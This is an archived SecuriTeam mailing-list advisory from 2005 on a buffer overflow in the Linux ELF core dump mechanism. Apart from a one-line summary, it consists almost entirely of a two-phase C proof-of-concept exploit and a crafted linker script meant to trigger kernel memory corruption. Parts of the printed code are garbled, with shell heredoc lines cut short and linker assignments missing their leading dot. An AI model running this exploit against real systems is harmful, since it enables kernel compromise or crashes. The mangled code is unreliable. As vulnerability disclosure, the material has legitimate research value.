[UNIX] Linux Binfmt Elf Core Dump Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 05/22/05

  • Next message: SecuriTeam: "[NEWS] TCP Does Not Adequately Validate Segments Before Updating Timestamp Value"
    To: list@securiteam.com
    Date: 22 May 2005 15:42:51 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Linux Binfmt Elf Core Dump Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    The core dump of Linux Elf format is vulnerable to a buffer overflow that
    allows attackers to use the dump mechanism to execute arbitrary code.

    DETAILS

    Proof of Concept phase one:
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <unistd.h>

    #include <sys/time.h>
    #include <sys/resource.h>

    #include <asm/page.h>

    static char *env[10], *argv[4];
    static char page[PAGE_SIZE];
    static char buf[PAGE_SIZE];

    void fatal(const char *msg)
    {
    if(!errno) {
    fprintf(stderr, " FATAL: %s ", msg);
    }
    else {
    printf(" ");
    perror(msg);
    }
    fflush(stdout); fflush(stderr);
    _exit(129);
    }

    int main(int ac, char **av)
    {
    int esp, i, r;
    struct rlimit rl;

    __asm__("movl %%esp, %0" : : "m"(esp));
    printf(" [+] %s argv_start=%p argv_end=%p ESP: 0x%x", av[0], av[0],
    av[ac-1]+strlen(av[ac-1]), esp);
    rl.rlim_cur = RLIM_INFINITY;
    rl.rlim_max = RLIM_INFINITY;
    r = setrlimit(RLIMIT_CORE, &rl);
    if(r) fatal("setrlimit");

    memset(env, 0, sizeof(env) );
    memset(argv, 0, sizeof(argv) );
    memset(page, 'A', sizeof(page) );
    page[PAGE_SIZE-1]=0;

    // move up env & exec phase 2
    if(!strcmp(av[0], "AAAA")) {
    printf(" [+] phase 2, <RET> to crash "); fflush(stdout);
    argv[0] = "elfcd2";
    argv[1] = page;

    // term 0 counts!
    memset(buf, 0, sizeof(buf) );
    for(i=0; i<789 + 4; i++)
    buf[i] = 'C';
    argv[2] = buf;
    execve(argv[0], argv, env);
    _exit(127);
    }

    // move down env & reexec
    for(i=0; i<9; i++)
    env[i] = page;

    argv[0] = "AAAA";
    printf(" [+] phase 1"); fflush(stdout);
    execve(av[0], argv, env);

    return 0;
    }
    __EOF__

    bash2.5# cat elfcd2.c

    Proof of Concept phase two:
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <syscall.h>

    #include <sys/syscall.h>

    #include <asm/page.h>

    #define __NR_sys_read __NR_read
    #define __NR_sys_kill __NR_kill
    #define __NR_sys_getpid __NR_getpid

    char stack[4096 * 6];
    static int errno;

    inline _syscall3(int, sys_read, int, a, void*, b, int, l);
    inline _syscall2(int, sys_kill, int, c, int, a);
    inline _syscall0(int, sys_getpid);

    // yeah, lets do it
    void killme()
    {
    char c='a';
    int pid;

    pid = sys_getpid();
    for(;;) {
    sys_read(0, &c, 1);
    sys_kill(pid, 11);
    }
    }

    // safe stack stub
    __asm__(
    " nop "
    "_start: movl $0xbfff6ffc, %esp "
    " jmp killme "
    ".global _start "
    );
    __EOF__

    bash2.5# cat <<__EOF__>elfcd.ld

    OUTPUT_FORMAT("elf32-i386", "elf32-i386", "elf32-i386")
    OUTPUT_ARCH(i386)
    ENTRY(_start)
    SEARCH_DIR(/lib); SEARCH_DIR(/usr/lib); SEARCH_DIR(/usr/local/lib);
    SEARCH_DIR(/usr/i486-suse-linux/lib);

    MEMORY
    {
    ram (rwxali) : ORIGIN = 0xbfff0000, LENGTH = 0x8000
    rom (x) : ORIGIN = 0xbfff8000, LENGTH = 0x10000
    }

    PHDRS
    {
    headers PT_PHDR PHDRS ;
    text PT_LOAD FILEHDR PHDRS ;
    fuckme PT_LOAD AT (0xbfff8000) FLAGS (0x00) ;
    }

    SECTIONS
    {

    dupa 0xbfff8000 : AT (0xbfff8000) { LONG(0xdeadbeef); _bstart = . ; . +=
    0x7000; } >rom :fuckme

     = 0xbfff0000 + SIZEOF_HEADERS;
    text : { *(.text) } >ram :text
    data : { *(.data) } >ram :text
    bss :
    {
    *(.dynbss)
    *(.bss)
    *(.bss.*)
    *(.gnu.linkonce.b.*)
    *(COMMON)
     = ALIGN(32 / 8);
    } >ram :text
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:rodhedor@hotmail.com> rod
    hedor.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] TCP Does Not Adequately Validate Segments Before Updating Timestamp Value"
  • Quantcast